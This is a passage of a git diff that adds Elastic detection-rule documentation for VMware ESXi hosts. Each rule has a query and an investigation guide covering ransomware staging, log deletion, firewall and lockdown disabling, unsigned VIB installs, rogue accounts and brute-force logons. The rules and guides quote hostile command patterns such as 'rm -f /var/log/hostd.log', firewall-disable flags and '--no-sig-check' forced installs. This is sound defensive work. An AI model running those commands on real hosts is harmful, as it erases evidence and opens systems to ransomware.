lets a later command launch it against the datastore. + +*Rule type*: query + +*Rule indices*: + +* logs-vsphere.log-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://lolesxi-project.github.io/LOLESXi/# +* https://blogs.vmware.com/security/2022/10/esxi-targeting-ransomware-tactics-and-techniques-part-2.html +* https://detect.fyi/vmware-esxi-logging-detection-opportunities-4fb56411ec21 + +*Tags*: + +* Domain: Endpoint +* Data Source: VMware vSphere +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Resources: Investigation Guide +* Rule Type: Custom Query (KQL) +* Platform: VMware ESXi +* Threat: Ransomware + +*Version*: 1 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating ESXi File Made Executable with chmod* + + +chmod +x, chmod a+x, and numeric modes such as 777 and 755 add the execute bit. On ESXi this is the step that turns a file dropped in /tmp into a runnable payload. Modes that do not grant execute, such as 644, are not included. + + +*Possible investigation steps* + + +- Read the full command in message, including the target path. +- Check the same session for a copy into /tmp, a following execution of that path, VM process kills, or a search for vmdk files. +- Confirm with the virtualization owner whether that file was part of an approved script. + + +*False positive analysis* + + +Support workflows sometimes chmod a known script. A chmod of an unknown file under /tmp, followed by execution, is the staging pattern. + + +*Response and remediation* + + +- If the file was not approved, remove it and end the shell session. +- Preserve shell.log and review commands issued after the chmod. +- If the path was executed, isolate the host and rotate credentials used in that session. + + +==== Setup + + + +*Setup* + + +This rule requires ESXi host logs collected by the Elastic vSphere integration: https://www.elastic.co/docs/reference/integrations/vsphere + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:vsphere.log and event.module:vsphere and message:(chmod and ("+x" or 0511 or 0555 or 0700 or 0711 or 0750 or 0755 or 0775 or 0777 or 111 or 1777 or 4755 or 511 or 555 or 700 or 711 or 750 or 755 or 775 or 777 or "a+x" or "g+x" or "o+x" or "u+x")) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: File and Directory Permissions Modification +** ID: T1222 +** Reference URL: https://attack.mitre.org/techniques/T1222/ +* Sub-technique: +** Name: Linux and Mac File and Directory Permissions Modification +** ID: T1222.002 +** Reference URL: https://attack.mitre.org/techniques/T1222/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-esxi-firewall-disabled.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-esxi-firewall-disabled.asciidoc new file mode 100644 index 0000000000..67744f7065 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-esxi-firewall-disabled.asciidoc @@ -0,0 +1,115 @@ +[[prebuilt-rule-8-19-36-esxi-firewall-disabled]] +=== ESXi Firewall Disabled + +Detects the ESXi firewall being turned off or switched to a default allow. The firewall is the host filter for management services. Disabling it, or setting the default action to accept, lets later connections reach services that were previously blocked. + +*Rule type*: query + +*Rule indices*: + +* logs-vsphere.log-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://lolesxi-project.github.io/LOLESXi/# +* https://blogs.vmware.com/security/2022/10/esxi-targeting-ransomware-tactics-and-techniques-part-2.html +* https://detect.fyi/vmware-esxi-logging-detection-opportunities-4fb56411ec21 + +*Tags*: + +* Domain: Endpoint +* Data Source: VMware vSphere +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Resources: Investigation Guide +* Rule Type: Custom Query (KQL) +* Platform: VMware ESXi + +*Version*: 1 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating ESXi Firewall Disabled* + + +The ESXi firewall is the host filter for management services. Disabling it, or setting the default action to accept, lets later connections skip that control. + + +*Possible investigation steps* + + +- Read message to see whether the firewall was disabled or the default action was set to true. +- Check a later esxcli network firewall get or hostd message showing the firewall enabled again. +- Correlate with SSH enablement, syslog changes, and VM shutdown commands. + + +*False positive analysis* + + +A short troubleshooting window that turns the firewall off and back on can be benign. A disable that is still in effect, with no ticket, should be treated as hostile. + + +*Response and remediation* + + +- Re-enable the firewall and set the default action back to DROP: esxcli network firewall set --enabled true --default-action false. +- Review ruleset changes made in the same session. +- If the change was unauthorized, isolate the host and rotate credentials. + + +==== Setup + + + +*Setup* + + +This rule requires ESXi host logs collected by the Elastic vSphere integration: https://www.elastic.co/docs/reference/integrations/vsphere + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:vsphere.log and message:("Firewall has been disabled" or "network firewall set" and ("--default-action true" or "--default-action=true" or "--enabled false" or "--enabled=false")) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify System Firewall +** ID: T1562.004 +** Reference URL: https://attack.mitre.org/techniques/T1562/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-esxi-host-logs-deleted-with-rm.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-esxi-host-logs-deleted-with-rm.asciidoc new file mode 100644 index 0000000000..0936b9e900 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-esxi-host-logs-deleted-with-rm.asciidoc @@ -0,0 +1,119 @@ +[[prebuilt-rule-8-19-36-esxi-host-logs-deleted-with-rm]] +=== ESXi Host Logs Deleted with rm + +Detects a shell `rm` of a path under `/var/log` or of a `*.log` name. Those files hold shell commands, authentication, and hostd activity. Removing them takes away the record of what changed on the host. + +*Rule type*: query + +*Rule indices*: + +* logs-vsphere.log-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://lolesxi-project.github.io/LOLESXi/# +* https://blogs.vmware.com/security/2022/10/esxi-targeting-ransomware-tactics-and-techniques-part-2.html +* https://detect.fyi/vmware-esxi-logging-detection-opportunities-4fb56411ec21 + +*Tags*: + +* Domain: Endpoint +* Data Source: VMware vSphere +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Resources: Investigation Guide +* Rule Type: Custom Query (KQL) +* Platform: VMware ESXi + +*Version*: 1 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating ESXi Host Logs Deleted with rm* + + +shell.log records the typed command. The rule matches a line that contains rm together with a /var/log/ path or a *.log name, such as [root]: rm -f /var/log/hostd.log or [root]: rm *.log. + + +*Possible investigation steps* + + +- Read message and note the path that was deleted. +- On the host, list /var/log and see which files are missing, including shell.log, auth.log, and hostd.log. +- Review account changes, firewall changes, and VM power events from the same session that are still in the index. + + +*False positive analysis* + + +Deleting one rotated log during maintenance can be expected. rm *.log removes every log name in the current directory and should be explained by a ticket. + + +*Response and remediation* + + +- If the delete was not approved, isolate the host and preserve any remaining logs before they rotate. +- Rotate credentials used in that shell session. +- Confirm remote syslog still has a copy of the deleted host logs. + + +==== Setup + + + +*Setup* + + +This rule requires ESXi host logs collected by the Elastic vSphere integration: https://www.elastic.co/docs/reference/integrations/vsphere + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:vsphere.log and event.module:vsphere and message:(rm and ("*.log" or "/var/log/*")) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Indicator Removal +** ID: T1070 +** Reference URL: https://attack.mitre.org/techniques/T1070/ +* Sub-technique: +** Name: Clear Linux or Mac System Logs +** ID: T1070.002 +** Reference URL: https://attack.mitre.org/techniques/T1070/002/ +* Sub-technique: +** Name: File Deletion +** ID: T1070.004 +** Reference URL: https://attack.mitre.org/techniques/T1070/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-esxi-host-prepared-for-an-unsigned-install.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-esxi-host-prepared-for-an-unsigned-install.asciidoc new file mode 100644 index 0000000000..853e45fa61 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-esxi-host-prepared-for-an-unsigned-install.asciidoc @@ -0,0 +1,173 @@ +[[prebuilt-rule-8-19-36-esxi-host-prepared-for-an-unsigned-install]] +=== ESXi Host Prepared for an Unsigned Install + +Detects three changes on the same ESXi host within 1 hour: SSH enabled, ExecInstalledOnly turned off, and a VIB install with `-f` or `--force` and `--no-sig-check`. Together they open a remote shell, allow unsigned code to run, and bypass VIB signature checks. That sequence prepares the host to receive and run a package the normal controls would reject. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: critical + +*Risk score*: 99 + +*Runs every*: 5m + +*Searches indices from*: now-1h ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://lolesxi-project.github.io/LOLESXi/# +* https://blogs.vmware.com/security/2022/10/esxi-targeting-ransomware-tactics-and-techniques-part-2.html +* https://detect.fyi/vmware-esxi-logging-detection-opportunities-4fb56411ec21 + +*Tags*: + +* Domain: Endpoint +* Data Source: VMware vSphere +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Tactic: Lateral Movement +* Resources: Investigation Guide +* Rule Type: ES|QL +* Platform: VMware ESXi + +*Version*: 1 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating ESXi Host Prepared for an Unsigned Install* + + +The rule counts three behaviors on one host and alerts only when all three occur in the same 1-hour window. +SSH enablement is hostsvc/enable_ssh or the hostd sentence SSH access has been enabled. ExecInstalledOnly is +the kernel setting set to FALSE, or the advanced setting /User/ExecInstalledOnly set with -i 0. The install +is vib install with the -f or --force switch and --no-sig-check. + + +*Possible investigation steps* + + +- Read Esql.message_values and confirm each count is at least 1. +- Compare Esql.span_minutes with the change window. The three lines should sit close together. +- On the host, run esxcli software vib list and look for a VIB that was not part of the approved image. +- Check esxcli system settings kernel list -o execInstalledOnly and whether SSH is still enabled. + + +*False positive analysis* + + +Vendor recovery and lab image builds sometimes force a VIB while SSH is open. The VIB name and the ticket should match. + + +*Response and remediation* + + +- If the change was not approved, remove the unexpected VIB and set ExecInstalledOnly back to TRUE. +- Disable SSH when remote shell access is no longer required. +- Preserve shell.log and hostd.log for the host before rotating credentials. + + +==== Setup + + + +*Setup* + + +This rule requires ESXi host logs collected by the Elastic vSphere integration: https://www.elastic.co/docs/reference/integrations/vsphere + + +==== Rule query + + +[source, js] +---------------------------------- +FROM logs-vsphere.log-* +| WHERE data_stream.dataset == "vsphere.log" AND event.module == "vsphere" and host.ip is not null +| EVAL Esql.message_lower = TO_LOWER(message) +| EVAL + Esql.ssh_enabled = CASE( + Esql.message_lower LIKE "*ssh access has been enabled*" OR Esql.message_lower LIKE "*hostsvc/enable_ssh*", + 1, 0 + ), + Esql.exec_installed_only_disabled = CASE( + Esql.message_lower LIKE "*execinstalledonly*" AND ( + Esql.message_lower LIKE "*false*" OR Esql.message_lower LIKE "* -i 0*" OR Esql.message_lower LIKE "* -v 0*" + ), + 1, 0 + ), + Esql.vib_force_install = CASE( + Esql.message_lower LIKE "*vib install*" AND ( + Esql.message_lower LIKE "* -f *" OR Esql.message_lower LIKE "* -f" + OR Esql.message_lower LIKE "* --force *" OR Esql.message_lower LIKE "* --force" + ), + 1, 0 + ) +| WHERE Esql.ssh_enabled == 1 OR Esql.exec_installed_only_disabled == 1 OR Esql.vib_force_install == 1 +| STATS + Esql.ssh_enabled_count = SUM(Esql.ssh_enabled), + Esql.exec_installed_only_disabled_count = SUM(Esql.exec_installed_only_disabled), + Esql.vib_force_install_count = SUM(Esql.vib_force_install), + Esql.message_values = VALUES(message), + Esql.log_file_path_values = VALUES(vsphere.log.file.path), + Esql.first_seen = MIN(@timestamp), + Esql.last_seen = MAX(@timestamp) + BY host.ip +| WHERE Esql.ssh_enabled_count > 0 + AND Esql.exec_installed_only_disabled_count > 0 + AND Esql.vib_force_install_count > 0 +| KEEP host.ip, Esql.ssh_enabled_count, Esql.exec_installed_only_disabled_count, Esql.vib_force_install_count, + Esql.message_values, Esql.log_file_path_values, Esql.first_seen, Esql.last_seen + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ +* Technique: +** Name: Subvert Trust Controls +** ID: T1553 +** Reference URL: https://attack.mitre.org/techniques/T1553/ +* Sub-technique: +** Name: Code Signing Policy Modification +** ID: T1553.006 +** Reference URL: https://attack.mitre.org/techniques/T1553/006/ +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Remote Services +** ID: T1021 +** Reference URL: https://attack.mitre.org/techniques/T1021/ +* Sub-technique: +** Name: SSH +** ID: T1021.004 +** Reference URL: https://attack.mitre.org/techniques/T1021/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-esxi-local-account-created.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-esxi-local-account-created.asciidoc new file mode 100644 index 0000000000..eb6e057d58 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-esxi-local-account-created.asciidoc @@ -0,0 +1,115 @@ +[[prebuilt-rule-8-19-36-esxi-local-account-created]] +=== ESXi Local Account Created + +Detects creation of a local ESXi account. A new account is a separate login that remains after the session that created it. It has no rights until a role is assigned, and it is the first step toward a persistent login on the host. + +*Rule type*: query + +*Rule indices*: + +* logs-vsphere.log-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://lolesxi-project.github.io/LOLESXi/# +* https://blogs.vmware.com/security/2022/10/esxi-targeting-ransomware-tactics-and-techniques-part-2.html +* https://detect.fyi/vmware-esxi-logging-detection-opportunities-4fb56411ec21 + +*Tags*: + +* Domain: Endpoint +* Data Source: VMware vSphere +* Use Case: Threat Detection +* Tactic: Persistence +* Resources: Investigation Guide +* Rule Type: Custom Query (KQL) +* Platform: VMware ESXi +* Threat: Ransomware + +*Version*: 1 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating ESXi Local Account Created* + + +Hostd records Account was created on host when an account is added from the Host Client or API. The shell records esxcli system account add. The new account has no role until a later permission change. + + +*Possible investigation steps* + + +- Read the account name in message and the user field on the hostd event, which is the account that created it. +- Look for a following esxcli system permission set or an Admin role grant for the same account. +- Compare the account with the approved list for that host. + + +*False positive analysis* + + +A documented joiner or break-glass account is commonly benign. An unknown account created by root over the Host Client, then granted Admin, deserves review. + + +*Response and remediation* + + +- If the account was not approved, remove it with esxcli system account remove --id . +- Preserve hostd.log and shell.log for the creating session. + + +==== Setup + + + +*Setup* + + +This rule requires ESXi host logs collected by the Elastic vSphere integration: https://www.elastic.co/docs/reference/integrations/vsphere + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:vsphere.log and event.module:vsphere and message:("esxcli system account add" or Account and "was created") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Create Account +** ID: T1136 +** Reference URL: https://attack.mitre.org/techniques/T1136/ +* Sub-technique: +** Name: Local Account +** ID: T1136.001 +** Reference URL: https://attack.mitre.org/techniques/T1136/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-esxi-lockdown-mode-disabled.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-esxi-lockdown-mode-disabled.asciidoc new file mode 100644 index 0000000000..cf20cce1e5 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-esxi-lockdown-mode-disabled.asciidoc @@ -0,0 +1,116 @@ +[[prebuilt-rule-8-19-36-esxi-lockdown-mode-disabled]] +=== ESXi Lockdown Mode Disabled + +Detects the disabling of ESXi lockdown mode, a critical security feature that restricts remote access to ESXi hosts. When lockdown mode is disabled, remote users can directly access and modify ESXi host configurations using the root login. When enabled, the ESXi host is accessible only through the local console or vCenter Server. + +*Rule type*: query + +*Rule indices*: + +* logs-vsphere.log-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://lolesxi-project.github.io/LOLESXi/# +* https://blogs.vmware.com/security/2022/10/esxi-targeting-ransomware-tactics-and-techniques-part-2.html +* https://detect.fyi/vmware-esxi-logging-detection-opportunities-4fb56411ec21 + +*Tags*: + +* Domain: Endpoint +* Data Source: VMware vSphere +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Resources: Investigation Guide +* Rule Type: Custom Query (KQL) +* Platform: VMware ESXi + +*Version*: 1 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating ESXi Lockdown Mode Disabled* + + +Lockdown mode limits remote administration of the host. Turning it off restores direct administrator access from SSH and the API. + + +*Possible investigation steps* + + +- Read message for esx.audit.lockdownmode.disabled or the shell command lockdown_mode_exit. A DCUI change records the audit id and does not record lockdown_mode_exit. +- Note the account in the hostd user field. A DCUI change shows user=dcui. +- On the host, run vim-cmd -U dcui vimsvc/auth/lockdown_is_enabled and confirm whether it is still off. +- Check the same session for new accounts, an Admin role grant, or a root password change. + + +*False positive analysis* + + +A short maintenance window that disables lockdown mode and enables it again can be expected. The host should not be left with lockdown mode off. + + +*Response and remediation* + + +- If the change was not approved, enable lockdown mode again from the DCUI or with vim-cmd -U dcui vimsvc/auth/lockdown_mode_enter. +- Review accounts and permissions changed in the same session. +- Preserve hostd.log before rotating credentials. + + +==== Setup + + + +*Setup* + + +This rule requires ESXi host logs collected by the Elastic vSphere integration: https://www.elastic.co/docs/reference/integrations/vsphere + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:vsphere.log and event.module:vsphere and message:(esx.audit.lockdownmode.disabled or lockdown_mode_exit) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-esxi-multiple-logon-failures-by-user-and-source.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-esxi-multiple-logon-failures-by-user-and-source.asciidoc new file mode 100644 index 0000000000..822ea19f98 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-esxi-multiple-logon-failures-by-user-and-source.asciidoc @@ -0,0 +1,131 @@ +[[prebuilt-rule-8-19-36-esxi-multiple-logon-failures-by-user-and-source]] +=== ESXi Multiple Logon Failures by User and Source + +Detects three or more failed ESXi logons for the same account from the same remote address within 10 minutes. Hostd records each failure from `pam_do_authenticate` with the login name and `rhost`. Repeated failures from one source are password guessing against that account and can lock it or come just before a successful login. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://lolesxi-project.github.io/LOLESXi/# +* https://blogs.vmware.com/security/2022/10/esxi-targeting-ransomware-tactics-and-techniques-part-2.html +* https://detect.fyi/vmware-esxi-logging-detection-opportunities-4fb56411ec21 + +*Tags*: + +* Domain: Endpoint +* Data Source: VMware vSphere +* Use Case: Threat Detection +* Tactic: Credential Access +* Resources: Investigation Guide +* Rule Type: ES|QL +* Platform: VMware ESXi + +*Version*: 1 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating ESXi Multiple Logon Failures by User and Source* + + +Each failed Host Client or API logon is a hostd line pam_do_authenticate: error with rhost=
and +login:. The query uses GROK to take those two values from message, then counts failures for the +same account and remote address. The rule lookback is 9 minutes, and the alert requires at least 3 failures +within 10 minutes apart. + + +*Possible investigation steps* + + +- Read user.name, source.ip, and Esql.failure_count. +- Compare source.ip with known jump hosts and administrator workstations. +- Look for a following Accepted password for user for the same account from that address. +- On the host, check whether the account is locked: esxcli system account list. + + +*False positive analysis* + + +A short run of mistyped passwords from one workstation is commonly benign. Failures from an unknown address, or failures followed by a successful login, deserve review. + + +*Response and remediation* + + +- If the source is not approved, block it and rotate the targeted account password. +- Unlock the account if the lockout threshold was reached and the activity was not approved. +- Preserve hostd.log for the source address and account. + + +==== Setup + + + +*Setup* + + +This rule requires ESXi host logs collected by the Elastic vSphere integration: https://www.elastic.co/docs/reference/integrations/vsphere + + +==== Rule query + + +[source, js] +---------------------------------- +FROM logs-vsphere.log-* +| WHERE data_stream.dataset == "vsphere.log" AND event.module == "vsphere" + AND message LIKE "*pam_do_authenticate: error*" +| GROK message "%{DATA}rhost=%{IP:source_ip}%{DATA}login:%{DATA:user}]%{GREEDYDATA}" +| WHERE user IS NOT NULL AND source_ip IS NOT NULL +| EVAL user.name = user, source.ip = source_ip +| STATS + Esql.failure_count = COUNT(*), + Esql.first_seen = MIN(@timestamp), + Esql.last_seen = MAX(@timestamp), + Esql.message_values = VALUES(message) + BY user.name, source.ip, host.ip +| WHERE Esql.failure_count >= 3 +| EVAL message = MV_FIRST(Esql.message_values) +| KEEP message, user.name, source.ip, host.ip, Esql.failure_count, Esql.first_seen, Esql.last_seen, Esql.message_values + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Brute Force +** ID: T1110 +** Reference URL: https://attack.mitre.org/techniques/T1110/ +* Sub-technique: +** Name: Password Guessing +** ID: T1110.001 +** Reference URL: https://attack.mitre.org/techniques/T1110/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-esxi-payload-executed-against-datastore.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-esxi-payload-executed-against-datastore.asciidoc new file mode 100644 index 0000000000..8beed6af5f --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-esxi-payload-executed-against-datastore.asciidoc @@ -0,0 +1,125 @@ +[[prebuilt-rule-8-19-36-esxi-payload-executed-against-datastore]] +=== ESXi Payload Executed Against Datastore + +Detects a program launched from the ESXi shell against `/vmfs/volumes`. The datastore holds the virtual disks of every guest. A process pointed at that path can read or encrypt those disks and take the hosted virtual machines offline. + +*Rule type*: query + +*Rule indices*: + +* logs-vsphere.log-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://lolesxi-project.github.io/LOLESXi/# +* https://blogs.vmware.com/security/2022/10/esxi-targeting-ransomware-tactics-and-techniques-part-2.html +* https://detect.fyi/vmware-esxi-logging-detection-opportunities-4fb56411ec21 + +*Tags*: + +* Domain: Endpoint +* Data Source: VMware vSphere +* Use Case: Threat Detection +* Tactic: Execution +* Tactic: Impact +* Resources: Investigation Guide +* Rule Type: Custom Query (KQL) +* Platform: VMware ESXi +* Threat: Ransomware + +*Version*: 1 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating ESXi Payload Executed Against Datastore* + + +This is the launch command. A path under /tmp, or python, is invoked with /vmfs/volumes as an argument. Ragnar Locker uses /tmp/ /vmfs/volumes//. Pysa uses Python and passes the datastore path. + + +*Possible investigation steps* + + +- Read message for the executable path and the datastore argument. +- Check the same session for chmod +x, VM process kills, snapshot removal, and find commands for vmdk files. +- On the host, identify the file that was executed and whether it is still under /tmp or on a datastore. + + +*False positive analysis* + + +Approved maintenance can run a known script from /tmp against a datastore. An unknown filename, especially after a chmod in the same session, is the ransomware launch pattern. + + +*Response and remediation* + + +- If the program was not approved, isolate the host. Leave powered-on VMs running so their disks stay locked. +- Remove the file under /tmp and preserve shell.log. +- Restore any datastore that was modified from an off-host backup. + + +==== Setup + + + +*Setup* + + +This rule requires ESXi host logs collected by the Elastic vSphere integration: https://www.elastic.co/docs/reference/integrations/vsphere + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:vsphere.log and event.module:vsphere and message:("/vmfs/volumes" and ("/tmp/" or python)) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Data Encrypted for Impact +** ID: T1486 +** Reference URL: https://attack.mitre.org/techniques/T1486/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-esxi-root-password-accepted-from-remote-host.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-esxi-root-password-accepted-from-remote-host.asciidoc new file mode 100644 index 0000000000..98bf8ea1c1 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-esxi-root-password-accepted-from-remote-host.asciidoc @@ -0,0 +1,116 @@ +[[prebuilt-rule-8-19-36-esxi-root-password-accepted-from-remote-host]] +=== ESXi Root Password Accepted from Remote Host + +Detects hostd accepting the ESXi root password from a remote address. A successful remote root login opens the Host Client or the API with full control of the host. Local sessions from 127.0.0.1 are left out of the rule. + +*Rule type*: query + +*Rule indices*: + +* logs-vsphere.log-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://lolesxi-project.github.io/LOLESXi/# +* https://blogs.vmware.com/security/2022/10/esxi-targeting-ransomware-tactics-and-techniques-part-2.html +* https://detect.fyi/vmware-esxi-logging-detection-opportunities-4fb56411ec21 + +*Tags*: + +* Domain: Endpoint +* Data Source: VMware vSphere +* Use Case: Threat Detection +* Tactic: Initial Access +* Resources: Investigation Guide +* Rule Type: Custom Query (KQL) +* Platform: VMware ESXi +* Threat: Ransomware + +*Version*: 1 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating ESXi Root Password Accepted from Remote Host* + + +Vimsvc.HaSessionManager writes this line when a root password is accepted. The source after from is the client address. A remote address is a direct HTTPS login to the host. from 127.0.0.1 is local esxcli and is not part of this rule. vpxuser from 127.0.0.1 is the host's own client. + + +*Possible investigation steps* + + +- Read the source address in message. Compare it with known admin workstations. +- In the same sid and opID, look for the following User root@ logged in event and for SSH access has been enabled. +- Check later shell commands for chmod, /tmp, and /vmfs/volumes. + + +*False positive analysis* + + +A documented Host Client login as root from the admin network can be benign. A root acceptance from an unexpected address, followed by SSH being enabled, is the lateral-movement pattern. + + +*Response and remediation* + + +- If the source was not approved, disable the session, rotate the root password, and review accounts created in that window. +- Preserve hostd.log for the sid on the event. +- Hunt other hosts for Accepted password for user root from the same source address. + + +==== Setup + + + +*Setup* + + +This rule requires ESXi host logs collected by the Elastic vSphere integration: https://www.elastic.co/docs/reference/integrations/vsphere + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:vsphere.log and 